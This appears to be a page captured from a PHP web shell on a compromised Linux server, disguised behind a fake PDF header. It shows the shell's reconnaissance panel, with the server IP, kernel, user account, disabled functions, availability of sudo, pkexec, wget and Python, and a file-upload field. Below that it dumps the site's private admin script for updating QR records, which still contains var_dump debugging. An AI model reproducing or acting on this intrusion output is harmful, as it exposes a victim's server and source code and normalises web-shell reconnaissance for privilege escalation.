%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj <
| Server IP : 212.252.79.165 / Your IP : 216.73.216.226 [ Web Server : Apache System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 User : cehaburo ( 1001) PHP Version : 8.1.33 Disable Function : exec,passthru,shell_exec,system Domains : 48 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/cehaburo/public_html/admin/dba/ |
Upload File : |
<?php
include '../lib/include.php';
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// Fetch form inputs
$qr_id = intval($_POST['id']);
$category_id = intval($_POST['category_id']);
$title = $ceha->real_escape_string($_POST['title']);
$alt_title = $ceha->real_escape_string($_POST['alt_title']);
$video_url = isset($_POST['video_url']) ? $ceha->real_escape_string($_POST['video_url']) : '';
$pdf_url = isset($_POST['pdf_url_hidden']) ? $ceha->real_escape_string($_POST['pdf_url_hidden']) : '';
var_dump($pdf_url);
var_dump($title);
// Update QR details in tbl_qr
$update_query = "UPDATE tbl_qr SET title='$title', alt_title='$alt_title', video_url='$video_url', pdf_url='$pdf_url', category_id='$category_id' WHERE id='$qr_id'";
if ($ceha->query($update_query) === TRUE) {
// Handle gallery images
if (isset($_POST['gallery_images'])) {
// Clear existing gallery images for this QR
$ceha->query("DELETE FROM tbl_qr_gallery WHERE qr_id='$qr_id'");
// Insert new gallery images
$sequence = 1;
foreach ($_POST['gallery_images'] as $image_url) {
$image_url = $ceha->real_escape_string($image_url);
$ceha->query("INSERT INTO tbl_qr_gallery (qr_id, image_url, sequence) VALUES ('$qr_id', '$image_url', '$sequence')");
$sequence++;
}
}
header("Location: ../qr-update.php?id=" . $qr_id); // Redirect after successful update
exit;
} else {
echo "Error: " . $update_query . "<br>" . $ceha->error;
}
} else {
echo "Invalid request.";
}
?>